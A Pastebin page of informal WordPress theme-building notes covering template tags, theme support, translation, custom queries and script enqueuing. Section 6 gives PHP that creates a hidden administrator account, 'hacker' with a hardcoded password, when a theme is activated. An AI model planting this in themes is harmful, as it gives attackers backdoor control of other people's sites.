Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!--soft Tech Tutorials----->
- Directory call::
- <?php echo esc_url(get_template_directory_uri());?>
- <?php bloginfo('name');?>---Title
- <?php bloginfo('description');?>-----Tag line
- <?php add_theme_support('title-tag');?>functions.php--To bring title(no need title in heaser.php)
- 3.Header under Appearance and Default Header
- add_theme_support('custom-header');//header image add on Apperance >> Header functions.php
- calling the Header image style="background:url(<?php header_image();?>) no-repeat"
- 3.1-For Default Header
- add_theme_support('custom-header',array('default_image' => get_template_directory_uri().'/images/youimage.png'));
- 3.2. Custom Background under Appearance
- add_theme_support('custom-background');
- 4. Translate your theme you have do this
- >> Create a folder in your theme "languages"
- >>And create a function on functions.php
- load_theme_textdomain('Your Theme Name', call your Languages Folder);
- Example: load_theme_textdomain('Portfolio', get_template_directory_uri().'/languages');
- 4.1- Now translate your menu
- >> Write Your Menu Name using double under score function __('Main Menu','Your TextDomainName')
- Example:
- register_nav_menu('primary',__('Main Menu','Portfolio');
- 5.Custom Post query
- <?php
- //custom post query
- $custom_post = new WP_Query(array(
- 'post_type' => 'your post type here',
- 'posts_per_page' => 6
- ));
- ?>
- <?php while($custom_post->have_posts()) : $custom_post->the_post();?>
- <?php //your custom post content will e here;?>
- <?php endwhile;?>
- 6.Hack the WordPress using functions.php. add below code in you functions.php and it will add a new admin.
- //automatic create the user when active the theme.
- // new WP_User(wp_create_user('username', passwored, 'email address'));
- $create_user = wp_create_user('hacker', 'asad123', '[email protected]');
- $user_role = new WP_User($create_user);
- $user_role->set_role('administrator');
- 7.Adding CSS and JS files in functions.php
- //Register style and script
- function zboom_style_js(){
- wp_register_style('zerogrid', get_template_directory_uri().'/css/zerogrid.css');
- wp_register_style('style', get_template_directory_uri().'/css/style.css');
- wp_register_style('responsive', get_template_directory_uri().'/css/responsive.css');
- wp_register_style('responsiveslides', get_template_directory_uri().'/css/responsiveslides.css');
- wp_enqueue_style('zerogrid');
- wp_enqueue_style('style');
- wp_enqueue_style('responsive');
- wp_enqueue_style('responsiveslides');
- }
- add_action('wp_enqueue_scripts', 'zboom_style_js');
- 8.WordPress Icon List -- How to set Icon
- 8.1 ---WordPress Dashicon
- 8.2 ---WordPress Menu Positions.
- <!-- Smooth Scrolling------->
- https://cferdinandi.github.io/smooth-scroll/#
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement